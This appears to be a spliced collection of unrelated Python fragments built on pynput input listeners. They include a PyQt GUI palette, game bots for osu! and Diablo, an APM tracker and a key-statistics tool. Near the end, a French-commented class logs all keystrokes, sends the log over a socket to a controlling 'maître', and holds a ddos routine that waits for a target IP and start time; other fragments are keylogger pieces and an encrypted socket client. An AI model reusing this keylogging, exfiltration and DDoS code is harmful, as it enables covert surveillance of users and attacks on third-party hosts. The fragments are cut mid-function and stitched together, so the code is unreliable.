brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,
brush)
gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
gradient.setSpread(QtGui.QGradient.PadSpread)
gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
brush = QtGui.QBrush(gradient)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Button, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 255, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Light, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 212, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Midlight,
brush)
brush = QtGui.QBrush(QtGui.QColor(0, 85, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Dark, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 113, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Mid, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Text, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.BrightText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,
brush)
gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
gradient.setSpread(QtGui.QGradient.PadSpread)
gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
brush = QtGui.QBrush(gradient)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Base, brush)
gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
gradient.setSpread(QtGui.QGradient.PadSpread)
gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
brush = QtGui.QBrush(gradient)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Shadow, brush)
brush = QtGui.QBrush(QtGui.QColor(127, 212, 127))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.AlternateBase,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 220))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ToolTipBase,
brush)
brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ToolTipText,
brush)
brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 128))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive,
QtGui.QPalette.PlaceholderText, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,
brush)
gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
gradient.setSpread(QtGui.QGradient.PadSpread)
gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
brush = QtGui.QBrush(gradient)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Button, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 255, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Light, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 212, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Midlight,
brush)
brush = QtGui.QBrush(QtGui.QColor(0, 85, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Dark, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 113, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Mid, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.BrightText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,
brush)
gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
gradient.setSpread(QtGui.QGradient.PadSpread)
gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
brush = QtGui.QBrush(gradient)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
gradient = QtGui.QRadialGradient(0.5, 0.5, 0.5, 0.5, 0.5)
gradient.setSpread(QtGui.QGradient.PadSpread)
gradient.setCoordinateMode(QtGui.QGradient.ObjectBoundingMode)
gradient.setColorAt(0.0, QtGui.QColor(0, 134, 22))
gradient.setColorAt(1.0, QtGui.QColor(0, 74, 26))
brush = QtGui.QBrush(gradient)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Shadow, brush)
brush = QtGui.QBrush(QtGui.QColor(0, 170, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.AlternateBase,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 220))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ToolTipBase,
brush)
brush = QtGui.QBrush(QtGui.QColor(0, 0, 0))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ToolTipText,
brush)
brush = QtGui.QBrush(QtGui.QColor(0, 0, 0, 128))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled,
QtGui.QPalette.PlaceholderText, brush)
self.drawButton.setPalette(palette)
self.drawButton.setStyleSheet(
"background-color: qradialgradient(spread:pad, cx:0.5, cy:0.5, radius:0.5, fx:0.5, fy:0.5, stop:0 rgba(0, 134, 22, 255), stop:1 rgba(0, 74, 26, 255));\n"
"font-weight: bold;\n"
"color: white;\n"
"height: 30px;\n"
"")
self.drawButton.setObjectName("drawButton")
self.verticalLayout.addWidget(self.drawButton)
spacerItem8 = QtWidgets.QSpacerItem(20, 40,
QtWidgets.QSizePolicy.Minimum,
QtWidgets.QSizePolicy.Expanding)
self.verticalLayout.addItem(spacerItem8)
self.errorLabel = QtWidgets.QLabel(self.verticalLayoutWidget)
self.errorLabel.setStyleSheet("color: rgb(170, 0, 0);\n"
"font-weight: bold;\n"
"")
self.errorLabel.setObjectName("errorLabel")
self.verticalLayout.addWidget(self.errorLabel, 0,
QtCore.Qt.AlignHCenter)
MainWindow.setCentralWidget(self.centralwidget)
self.menubar = QtWidgets.QMenuBar(MainWindow)
self.menubar.setGeometry(QtCore.QRect(0, 0, 299, 21))
self.menubar.setObjectName("menubar")
MainWindow.setMenuBar(self.menubar)
self.statusbar = QtWidgets.QStatusBar(MainWindow)
self.statusbar.setObjectName("statusbar")
MainWindow.setStatusBar(self.statusbar)
# Custom values
self.width = 0
self.height = 0
self.startPosition = (0, 0)
self.ignorePixels = False
self.dither = False
self.speed = 3
self.pixelInterval = 5
self.url = ""
self.app = 0
self.colors, self.coordinates = utils.getPalette(self.app)
self.drawingThread = None
# Signals
self.coordinateButton.clicked.connect(self.displayMouseCoordinates)
self.setBoundsButton.clicked.connect(self.setBounds)
self.ditherBox.clicked.connect(self.setDither)
self.ignorePixelBox.clicked.connect(self.setIgnorePixel)
self.speedSlider.valueChanged.connect(self.setSpeed)
self.skippedPixelSlider.valueChanged.connect(self.setPixelInterval)
self.appBox.currentIndexChanged.connect(self.setApp)
self.urlTextBox.textChanged.connect(self.setUrl)
self.drawButton.clicked.connect(self.draw)
# Collect keyboard events
listener = Listener(on_press=self.on_press)
listener.start()
self.retranslateUi(MainWindow)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def __init__(self, game):
self.game = game
self.action_list = []
listener = Listener(on_press=self.on_press)
listener.start()
def hotkey():
#Thread that listens for the ctrl key
listener = Listener(on_press=on_press, on_release=on_release)
listener.daemon = True
listener.start()
for proc in process.children(recursive=True):
proc.kill()
process.kill()
def OnKeyboardEvent(event):
logging.info(f"{event}")
if _pynput:
KeyListener = Listener(on_press=OnKeyboardEvent)
# Check the state of the keylogger from logs
if os.path.isfile(LOG):
for line in reverse_readline(LOG):
if 'Started Keylogger' in line:
KeyListener.start()
break
if 'Stopped Keylogger' in line:
break
class Client(object):
def __init__(self,
key: bytes,
host: str = '127.0.0.1',
port: int = 8000) -> None:
self.serverHost = host
self.serverPort = port
self.socket = None
self.Fer = Fernet(key)
if platform.system() == 'Windows':
def on_click(x, y, button, pressed):
global holding_mouse
if tracking and pressed:
graph.clicks += 1
graph.add_action(time.time())
if pressed:
holding_mouse = True
else:
holding_mouse = False
klistener = KListener(on_press=on_press, on_release=on_release)
mlistener = MListener(on_click=on_click)
klistener.start()
mlistener.start()
""" ---------------------- Building GUI layout ---------------------------"""
# Initializing Window
Fenetre = tk.Tk()
Fenetre.geometry("{}x{}".format(width, height))
Fenetre.title("apm_tool v.{}".format(version))
Fenetre.config(background="black")
Fenetre.iconbitmap('icon.ico')
# Main button that toggles apm tracking
main_button_f = tk.Frame(Fenetre, width=width // 3, height=height // 8)
main_button_f.pack_propagate(0) # don't shrink
main_button_f.place(x=0, y=0)
main_button = tk.Button(main_button_f,
class KeyboardWatcher:
def __init__(self, key_handlers: Sequence, verbose: bool = False):
self._pool = KeyPool()
self._verbose = verbose
# sort them in order to give combinations precedence
key_handlers = sorted(
key_handlers,
key=lambda x: len(x.trigger),
reverse=True,
)
self._handlers = {handler.trigger: handler for handler in key_handlers}
self._listener = None
target = partial(infinite_handle_cycle,
active_keys=self.pressed,
handlers=self._handlers,
handle_method_name='press')
hold_thread = Thread(target=target, daemon=True)
hold_thread.start()
self._listener = Listener(
on_press=self.handle_press,
on_release=self.handle_release,
# suppress=True,
)
@property
def pressed(self):
return self._pool.pressed
@property
def released(self):
return self._pool.released
@staticmethod
def _get_pressed_key(key: KeyCode):
if isinstance(key, KeyCode):
key_name = key.char
elif isinstance(key, Key):
key_name = key.name
else:
raise ValueError
try:
key_name = key_name.lower()
except AttributeError:
return None
return key_name
def handle_press(self, key: KeyCode):
key_name = self._get_pressed_key(key)
if (key_name and key_name not in self.pressed):
self.pressed.add(key_name)
if self._verbose:
print(f'pressed: {self.pressed}')
def handle_release(self, key: KeyCode):
key_name = self._get_pressed_key(key)
if key_name in self.pressed:
self.pressed.remove(key_name)
self.released.add(key_name)
_handle_cycle(self.released, self._handlers, 'release')
self.released.remove(key_name)
if self._verbose:
print(f'released: {self.pressed}')
def join(self):
while self._listener.is_alive():
self._listener.join(0.1)
def __enter__(self):
self._listener.start()
self._listener.wait()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self._listener.stop()
def start(self):
self._listener.start()
while True:
time.sleep(0.1)
#Initialize input buffer file
g_keyIndexes = OrderedDict()
for index in range(0, len(g_keyArray), 1):
g_keyIndexes[g_keyArray[index]] = index
stateArrayLength = len(g_keyIndexes)
if (len(g_keyIndexes)%4):
stateArrayLength += 4 - len(g_keyIndexes)%4
g_keyboardStateArray = np.zeros(stateArrayLength, dtype=np.uint8)
initializeInputBufferFile(inputBufferPath, g_keyboardStateArray)
#Initialize keyboard listener
listenerThread = Listener(on_press=onKeyPress, on_release=onKeyRelease)
listenerThread.start()
programInputsFile.close()
#Compile into vvp with icarus verilog
print("Compiling verilog")
command = "iverilog {} -I rtl -I testbenches -g2005-sv -o simulation/{}/{}.vvp | grep error".format(testbenchPath, testbenchName, testbenchName)
print("+ {}{}".format(command, COLORS.ERROR))
os.system(command)
print(COLORS.DEFAULT)
#Run vvp
dumpFlag = ""
if (dumpValues):
dumpFlag = "-vcd"
class keyTracker():
def __init__(self):
self.allKeyPresses = [] # tracks every single key press and release
self.keyInfoDic = {} # backbone of the program, tracks all relevant info on each key (that has been pressed at least once)
self.combos = [] # tracks all combanations of keys pressed (in a single frame)
self.keyHistory = [] # i mean allKeyPresses kinda does the same thing but im lazy
self.justPressed = False
self.totalTimePressed = 0
self.tick = 0
self.stop = False
self.listener = Listener(on_press = self.on_press, on_release = self.on_release)
self.listener.start()
def on_press(self, key):
if (self.canInitNewKey(key) == True):
self.keyInfoDic.get(key).press()
self.getCombo() # dont think this will cause any problems srsly
def on_release(self, key):
self.allKeyPresses.append(f"(R){key}")
self.keyHistory.append(True)
self.justPressed = True
if (self.canInitNewKey(key) == True):
self.keyInfoDic.get(key).release()
def canInitNewKey(self, key, tryToCreate = True):
if (key in self.keyInfoDic):
return True
if (tryToCreate):
self.keyInfoDic[key] = keyInfo(key, self)
try:
self.keyInfoDic.get(key).amountPressed
return True
except:
return False
return False
def update(self):
holder = self.getAllKeysCurrentlyPressed()
if (len(holder) == 3 and Key.cmd in holder and Key.shift in holder and Key.esc in holder):
self.end()
return
self.tick += 1
if (self.tick == 60):
self.tick = 0
self.getCombo()
if (self.justPressed == False):
self.keyHistory.append(False)
else:
self.justPressed = False
for key in self.keyInfoDic.values():
key.update()
def getAllKeysCurrentlyPressed(self):
holder = []
for key in self.keyInfoDic.values():
if (key.isCurrentlyPressed):
holder.append(key.name)
return holder
def getCombo(self): # combo is capped is some places where it makes no sense bc i og named it patterns but i actually need that name somewhere else so i just replaced all of them
# check if theres a new Combo
# get all keys current pressed that frame
newCombo = self.getAllKeysCurrentlyPressed()
if (len(newCombo) < 2):
return
# check if the Combo already exists
isUnique = True
for Combo in self.combos:
if (self.areListSame(Combo[0], newCombo) == False):
continue
else:
Combo[1] += 1
isUnique = False
break
if (isUnique):
# add the Combo if it doesnt
self.combos.append([newCombo, 1])
# check if the current.combos contains any.combos of other key
for Combo in self.combos: # yes im repeating it here but it just looks better ok and there are so many more optimzations u can make y focus on this
if (self.isListSubset(Combo, newCombo)):
Combo[1] += 1
def isListSubset(self, smallerList, biggerList):
if (len(smallerList) >= len(biggerList)):
return False
for content in smallerList:
if (content not in biggerList):
return False
return True
def areListSame(self, list1, list2):
if (len(list1) == len(list2)):
for content in list1:
if (content not in list2):
return False
return True
return False
def end(self):
self.listener.stop()
self.stop = True
username = os.getlogin()
filePath = os.path.join(f"/Users/{username}/Desktop", "keyInfo.txt")
f = open(filePath, "w")
longestKeyHeld = ["null", 0]
mostAmountOfReleases = ["null", 0]
mostCommonCombo = [["null"], 0]
f.write("Key Info\n")
# print info about how long keys were pressed
for key in self.keyInfoDic.keys():
i = self.keyInfoDic[key]
# get percentage of time a key was pressed, and how long in total
f.write(f"\n{key}: {round(((i.allTimePressed * 100) / self.totalTimePressed), 2)}% | {round(i.maxTimePressed/60, 2)}s")
# get longest time a key was held
if (i.maxTimePressed/60 > longestKeyHeld[1]):
longestKeyHeld[0] = i.name
longestKeyHeld[1] = round(i.maxTimePressed/60, 2)
# get most amount of key presses for a single key
if (i.amountReleased > mostAmountOfReleases[1]):
mostAmountOfReleases[0] = i.name
mostAmountOfReleases[1] = i.amountReleased
# get info about combos
for combo in self.combos:
if (combo[1] > mostCommonCombo[1]):
mostCommonCombo = combo
# get info on presses per min
enoughInfoForPPM = True
if (len(self.keyHistory) < 120):
# only display infomation about ppm if the user has been running the program for more then 2 mins
# hmm yeah this doesnt seem to work but i cant be bothered lol
enoughInfoForPPM = False
else:
distToEnd = len(self.keyHistory)
# very good naming scheme
maxAmountInPeriod = 0
minAmountInPeriod = 100
holderInPeriod = 0
indexInPeriod = 0
while (distToEnd >= 60):
presses = self.keyHistory[indexInPeriod: indexInPeriod + 60]
amountOfValidPresses = 0
for i in presses:
if (i):
amountOfValidPresses += 1
holderInPeriod += amountOfValidPresses
if (minAmountInPeriod > amountOfValidPresses):
minAmountInPeriod = amountOfValidPresses
elif (maxAmountInPeriod < amountOfValidPresses):
maxAmountInPeriod = amountOfValidPresses
distToEnd -= 1
indexInPeriod += 1
f.write("\n\n------\nGeneral Info\n")
f.write(f"\nLongest key held: {longestKeyHeld[0]} for {longestKeyHeld[1]}s")
f.write(f"\nMost key presses: {mostAmountOfReleases[0]} x{mostAmountOfReleases[1]}")
f.write(f"\nMost common combination of keys: {combo[0]}, held for {round(combo[1]/60, 2)}s")
if (enoughInfoForPPM):
f.write(f"\nMost key presses per minute: {maxAmountInPeriod}")
f.write(f"\nMinimum key presses per minute: {minAmountInPeriod}")
f.write(f"\nAverage key presses per minute: {round(holderInPeriod/indexInPeriod, 2)}")
else:
f.write("\nRun the program for more then 2 minutes to recieve data on key presses per minute")
f.close()
print(f)
inputs.append(mouse_scroll)
count += 1
if count >= 10:
count = 0
save(inputs)
inputs = []
def save(keys):
with open("screen_recording.txt", "a") as file:
for key in keys:
_key = str(key).replace("'", "")
if _key.find("space") > 0:
file.write("\n")
elif _key.find("key") == -1:
file.write(_key)
# Setup the listener threads
keyboard_listener = KeyboardListener(on_press=on_press, on_release=on_release)
mouse_listener = MouseListener(on_move=on_move,
on_click=on_click,
on_scroll=on_scroll)
# Start the threads and join them so the script doesn't end early
keyboard_listener.start()
mouse_listener.start()
keyboard_listener.join()
mouse_listener.join()
# see https://pythonhosted.org/pynput/ for details of the library
import autopy
from pynput.keyboard import Key, Listener
import winsound
SWITCH = False
def on_release(key):
global SWITCH
if key == Key.f8:
if SWITCH:
winsound.Beep(600, 300)
else:
winsound.Beep(2000, 300)
SWITCH = not SWITCH
if __name__ == "__main__":
print("diablo auto t16 entrance program is running")
print("press F8 to toggle the switch")
print("author: Zhang SY")
print("mail: [email protected]")
print("release version 1.0.0")
print("May 26th, 2019")
key_listener = Listener(on_release=on_release)
key_listener.start()
while True:
if SWITCH:
autopy.mouse.click()
else:
pass
def input_withtimeout_linux(self,
informmsg='test:',
func=int,
timeout=Config.Select_Timeout,
default=None):
def str2width(str):
str_b = str.encode()
l_m = len(str_b) - len(str)
return str.ljust(int(self.width - l_m))
#inform=str2width(informmsg+'(%2d):'%(timeout))
start_time = time.time()
input_str = ''
goon = True
def press(key):
nonlocal input_str, goon
try:
#print (key, type(key))
input_str += key.char
except AttributeError:
#print (key, type(key))
if key == Key.esc:
goon = False
input_str = default
return False
elif key == Key.space:
input_str += ' '
elif key == Key.enter: #按下enter时如果未输入则不管他
input() #清空输入字符在缓冲区中未读取导致执行命令
if input_str:
goon = False
return False
elif key == Key.backspace:
input_str = input_str[:-1]
#Call pynput.keyboard.Listener.stop from anywhere, raise StopException or return False from a callback to stop the listener
listener = Listener(on_press=press)
listener.start()
while goon:
#print ("\b"*len(inform), end='')
print("\r", end='')
inform = str2width(informmsg + '(%2d):' %
(timeout - time.time() + start_time) +
input_str)
print("\r" + inform, end='')
if (time.time() - start_time) > timeout:
listener.stop()
return default
time.sleep(0.1)
if not input_str: return default
try:
input_str = func(input_str)
except Exception as e:
#print ('input error:'+str(e), end='')
return default
return input_str
class KeyboardLogger():
"""
Class for logging the keyboard in another thread
Key presses are stored in dictinoary keyDict
"""
def __init__(self, stop=Key.f12):
self.logging = False
self.stopButton = stop
self.keyDict = {}
self.wordDict = {}
self.allowed = string.ascii_uppercase
self.blackList = []
self.whiteList = []
def setBlackList(self, blist):
"""
Set black-list to string of characters and empties white-list.
Returns new black-list
"""
self.blackList = blist
self.whiteList.clear()
return self.blackList
def setWhiteList(self, wlist):
"""
Set white-list to string of characters and empties black-list.
Returns new white-list
"""
self.whiteList = wlist
self.blackList.clear()
return self.whiteList
def getBlackList(self):
"""
Get string of current black-list
"""
return self.blackList
def getWhiteList(self):
"""
Get string of current white-list
"""
return self.whiteList
def addSpecialChars(self, charList):
"""
Add a list of characters to be logged.
Characters of modifiers are not tracked.
"""
self.allowed += "".join(charList)
return self.allowed
def on_press(self, key):
"""
Add the given keypress to the dictionary if the key is not some arbitrary symbol.
"""
if self.checkStop(key):
try:
upperKey = key.char.upper()
if upperKey in self.allowed:
if (not self.blackList and not self.whiteList) or (
(self.blackList and upperKey not in self.blackList) or
(self.whiteList and upperKey in self.whiteList)):
print(upperKey)
if upperKey in self.keyDict:
self.keyDict[upperKey] += 1
else:
self.keyDict[upperKey] = 1
except:
pass
def checkStop(self, key):
"""
Return if the given key is the stopkey.
If True, this will also stop the logging.
"""
if key is self.stopButton:
self.toggle()
return self.logging
def toggle(self):
"""
Toggle the logging
"""
if self.logging:
print("Logging Stopped")
self.logging = False
self.keyListener.stop()
else:
print("Logging Started")
self.logging = True
self.run()
return self.logging
def flush(self):
"""
Flush the data-dictionaries
"""
self.keyDict = {}
self.wordDict = {}
def run(self):
"""
Runs the keyListener
"""
self.keyListener = Listener(on_press=self.on_press)
self.keyListener.start()
def stop(self):
"""
Stop logger
"""
self.keyListener.stop()
class KeyboardDriver(object):
def __init__(self):
self.name = 'keyboard-driver'
self.angles = ['-90','-75','-60','-45','-30','-20','-15','-10','-5','0','5','10','15','20','30','45','60','75','90'] # len = 19
self.keymap = {}
self.keys = []
self.thread = None
self.running = False
self.state = {'accel':0,'brake':0,'steer':0,'gear':0,'clutch':0,'focus':0.0,'meta':0}
def create(self):
from pynput.keyboard import Controller, Listener, Key, KeyCode
Controller()
self.keymap = {Key.left:self.steer_left
,Key.up:self.accelerator
,Key.right:self.steer_right
,Key.down:self.dummy
,Key.space:self.braker
,'w':self.shift_up
,'s':self.shift_down}
self.keys = self.keymap.keys()
self.thread = Listener(on_press=self.press,on_release=self.release)
self.running = True
self.thread.start()
#self.thread.join()
return self
# available keys in Key
# ,'f1','f10','f11','f12','f13','f14','f15','f16','f17','f18','f19','f2','f20','f3','f4','f5','f6','f7','f8','f9'
# ,'alt_gr','alt_l','alt_r','backspace','caps_lock','cmd','cmd_r' ,'ctrl','ctrl_r','delete','end','enter','esc'
# ,'home','insert','menu','num_lock','page_down','page_up','pause','print_screen','scroll_lock','shift','shift_r','space','tab'
# ,'left','right','down','up','space'
# ,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'
# ,'a,'b,'c,'d,'e,'f,'g,'h,'i,'j,'k,'l,'m,'n,'o,'p,'q,'r,'s,'t,'u,'v,'w,'x,'y,'z'
def press(self,key):
if key in self.keys:
self.keymap.get(key)(True)
elif hasattr(key,'char'):
if(key.char in self.keys):
self.keymap.get(key.char)(True)
return self.running
def release(self,key):
if key in self.keys:
self.keymap.get(key)(False)
elif hasattr(key,'char'):
if(key.char in self.keys):
self.keymap.get(key.char)(False)
return self.running
def kill(self,data=[]):
self.running = False
return self
def accelerator(self,pressed):
if(pressed):
self.state['accel'] = 1
else:
self.state['accel'] = 0
def braker(self,pressed):
if(pressed):
self.state['brake'] = 1
else:
self.state['brake'] = 0
def steer_left(self,pressed):
if(pressed):
self.state['steer'] = 1
else:
self.state['steer'] = 0
def steer_right(self,pressed):
if(pressed):
self.state['steer'] = -1
else:
self.state['steer'] = 0
def shift_up(self,pressed):
self.state['gear'] = self.state['gear']+1
def shift_down(self,pressed):
self.state['gear'] = self.state['gear']-1
def dummy(self,pressed):
print 'dummy'
class OsuBot:
def __init__(self,
mode='7k',
bind_key=Key.num_lock,
quit_key=Key.esc,
note_delay=0.004,
monitor={
"top": 860,
"left": 300,
"width": 500 + 250,
"height": 28
},
y_center=0,
note_height=25,
thres=65):
self.bind_key = bind_key
self.quit_key = quit_key
self.note_delay = note_delay
self.monitor = monitor
self.y_center = y_center
self.note_height = note_height
self.thres = thres
self.noteAction = self.hit
self.combo = 0
if mode == '10k':
self.keys = {
'q': 40,
'w': 110,
'e': 175,
'r': 240,
't': 310,
'y': 466,
'u': 532,
'i': 600,
'o': 668,
'p': 735
}
else:
self.keys = {
'q': 40,
'w': 110,
'e': 175,
'r': 240,
't': 310,
'y': 375,
'u': 445
}
self.cont = Controller()
self.listener = Listener(on_press=self.on_press)
self.listener.start()
self.MainThread = StoppableThread(target=self.key_loop, daemon=True)
for key in self.keys.keys():
self.cont.release(key)
def key_loop(self):
prev = {
'q': False,
'w': False,
'e': False,
'r': False,
't': False,
'y': False,
'u': False,
'i': False,
'o': False,
'p': False
}
with mss.mss() as sct:
while True:
img = sct.grab(self.monitor)
ks = self.getKeys(img)
if len(ks) != 0:
for c, future in ks:
if prev[c] == False:
self.noteAction(self, c)
sleep(self.note_delay)
for c, future in ks:
if future:
prev[c] = True
if not future:
self.cont.release(c)
prev[c] = False
@staticmethod
def hit(bot, key):
bot.cont.press(key)
@staticmethod
def getHit():
R = randint(1, 100)
if R == 1:
return 0
elif R <= 5:
return 0.01
else:
return 0
def getKeys(self, sct):
valid = []
for key in self.keys.items():
intens1 = 0
for i in range(3):
p1 = sct.pixel(key[1],
2 + self.note_height + self.y_center - i)
temp = ((p1[0] + p1[1] + p1[2]) / 3)
if temp > intens1:
intens1 = temp
# p1 = sct.pixel(key[1], note_height+y_center)
# intens1 = ((p1[0] + p1[1] + p1[2]) / 3)
p2 = sct.pixel(key[1], 0)
intens2 = ((p2[0] + p2[1] + p2[2]) / 3)
# p3 = sct.pixel(keys_black[key[0]], 0)
# intens_long = ((p3[0] + p3[1] + p3[2]) / 3)
# intens1 = 0
# intens2 = 0
# for i in range(2):w
# for j in range(2):
# p1 = sct.pixel(key[1] + i, y_center+note_height + j)
# intens1 = intens1 + ((p1[0] + p1[1] + p1[2])/3)/9
#
# p2 = sct.pixel(key[1] + i, y_center + j)
# intens2 = intens2 + ((p2[0] + p2[1] + p2[2])/3)/9
if intens1 > self.thres:
# print(key[0] + ' ' + str(intens1))
if intens2 > self.thres:
valid.append((key[0], True))
else:
valid.append((key[0], False))
return valid
def on_press(self, key):
if (key == self.quit_key):
try:
print("Thread killed")
self.MainThread.stop()
self.MainThread = StoppableThread(target=self.key_loop,
daemon=True)
except (ValueError):
print("Bot not running")
pass
if (key == self.bind_key):
# Begin game
self.MainThread.start()
print("Begin...")
class Action(Connexion):
def __init__(self, chemin, listener):
#assigne listener à la méthode appuie
self.chemin = chemin
self.listener = Listener(on_press=self.appuie)
def start_log(self):
try:
#met les informations de base concernant le logger
#filename, spécifie le nom du fichier
#format, impose les infos de base qui se trouveront dans le logger, içi la date avec l'heure puis les infos sur les entrées sur le clavier
logging.basicConfig(filename = (chemin + "\\keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
#listener.start va commencer a écouter grace a la methode appuie qui est assigné à la varibale listener
self.listener.start()
except FileNotFoundError:
print("erreur chemin inexistant")
#Création d'une fonction appuie(), qui vas mettre en string touts les appuie sur le clavier
def appuie(self, key):
logging.info(str(key))
def stop_log(self, carte_reseau):
if not self.listener.is_alive():
carte_reseau.send("Logger non lancé".encode("utf-8"))
print("erreur")
else:
#listener.start va arreter d'écouter en fermant la methode appuie qui est assigné à la varibale listener
self.listener.stop()
carte_reseau.send("Logger arreté".encode("utf-8"))
print("logger arreté")
def get_log(self, carte_reseau):
logger = open("D:\\keyLog.txt", "r")
#lis le fichier ligne à ligne
fichier = logger.readlines()
#boucle qui permet de compter le nombre de ligne
nb_lines = 0
for line in logger.readlines():
nb_lines+=1
#on reçoit le nombre de ligne que le maitre veut récuperer
lines = carte_reseau.recv(1024).decode("utf-8")
#si tu sais elisa ce que ça fait tu peut le mettre ?
start = nb_lines-1-int(lines)
message_get_log = str(fichier[start:])
carte_reseau.send(message_get_log.encode("utf-8"))
def ddos(self, carte_reseau):
#définir le format de la date quand on la rentrera dans la variable
date = carte_reseau.recv(1024).decode("utf-8")
print(date)
format = "%Y-%m-%d %H:%M"
#on récupère la date et l'heure actuelle et on la formate comme voulu ci dessus
now = datetime.strftime(datetime.now(), format)
print(now)
ip = carte_reseau.recv(1024).decode("utf-8")
url = "http://" + ip
#on compare la date et l'heure récupérées à celle souhaitée pour le ddos
while (now != date):
print("En attente ...")
time.sleep(10)
